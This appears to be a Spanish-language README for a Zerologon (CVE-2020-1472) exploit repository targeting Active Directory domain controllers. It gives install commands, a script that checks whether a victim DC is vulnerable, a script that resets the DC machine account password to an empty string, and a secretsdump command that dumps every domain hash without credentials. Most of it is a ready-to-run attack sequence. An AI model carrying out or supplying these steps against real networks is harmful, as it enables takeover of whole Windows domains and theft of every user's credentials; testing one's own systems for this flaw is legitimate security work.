Zerologon

Conjunto de scripts para probar y explotar la vulnerabilidad zerologon (CVE-2020-1472)

---

¿Qué es?

ZeroLogon es una vulnerabilidad que nos permite explotar una falla criptográfica en el Protocolo remoto de Netlogon de Active Directory de Microsoft (MS-NRPC), que permite a los usuarios iniciar sesión en servidores usando NTLM.

---

Pasos previos

Antes de ejecutar el exploit debemos saber que necesitamos una versión diferente de impacket; para ello haremos lo siguiente.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

PoC (Prueba de concepto)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

Comprobar si el controlador de dominio víctima es vulnerable a zerologon.

python3 tester.py <DC-NAME> <ip-address>

En caso de que el DC víctima sea vulnerable, aparecerá un mensaje que dirá "Success! DC can be fully compromised by a Zerologon attack."

De lo contrario, es decir, si el DC víctima no es vulnerable porque el agujero de seguridad ha sido parcheado, obtendremos el siguiente mensaje: "Attack failed. Target is probably patched."

---

Cambiar la contraseña del controlador de dominio vulnerable a una cadena vacía.

python3 empty_pw.py <DC-NAME> <ip-address>

Si el controlador de dominio es vulnerable, después de ejecutar el exploit no debería tener ninguna contraseña.

Volcar los hashes del controlador de dominio.

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

Al ejecutar esto, podremos ver todos los hashes del dominio, sin ninguna credencial.